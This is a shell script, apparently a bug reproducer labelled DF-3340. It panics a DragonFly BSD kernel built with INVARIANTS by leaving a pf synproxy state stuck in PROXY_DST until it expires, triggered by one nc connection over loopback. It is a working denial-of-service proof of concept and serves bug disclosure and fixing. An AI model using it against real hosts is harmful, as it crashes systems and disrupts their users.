DF-3340 / trigger.sh
#!/bin/sh # DF-3340 trigger (run as root in the DragonFly guest). # # Remote-triggerable path: an unauthenticated peer completes the SYN-proxy # handshake against a pf synproxy rule whose backend never answers SYNACK # (here: 127.0.0.1:8080 with no listener). The pf state is then stuck in # PF_TCPS_PROXY_DST. When it expires (tcp.first, shortened to 5s here; # default is 120s), pf_purge_thread -> pf_purge_expired_states -> # pf_unlink_state calls pf_send_tcp -> ip_output from the purge thread, # which is NOT a netisr thread -> ASSERT_NETISR_NCPUS(mycpuid) panic # (sys/netinet/ip_output.c:185, sys/net/netisr2.h:136-139), INVARIANTS. # # Expected: kernel panic "thread %p cpu%d is not within netisr_ncpus %d" # roughly 5-7 seconds after the nc connect() fires. set -x date kldload pf.ko 2>/dev/null || kldstat -n pf >/dev/null 2>&1 || true cat > /tmp/df3340.conf <<EOF set timeout tcp.first 5 pass in quick on lo0 inet proto tcp from 127.0.0.0/8 to 127.0.0.1 port 8080 flags S/SA synproxy state EOF pfctl -F all >/dev/null 2>&1 || true pfctl -f /tmp/df3340.conf || exit 1 pfctl -e 2>/dev/null || true # one TCP connect: SYN (state created, PROXY_SRC) + ACK (handshake with the # synproxy completes -> PROXY_DST). Backend never answers -> state sticks. nc 127.0.0.1 8080 </dev/null & sleep 2 echo "--- states at t+2s (expect SYN_PROXY / PROXY:DST):" pfctl -s state sleep 12 echo "--- SURVIVED t+14s, no panic (unexpected on INVARIANTS kernel):" pfctl -s state date |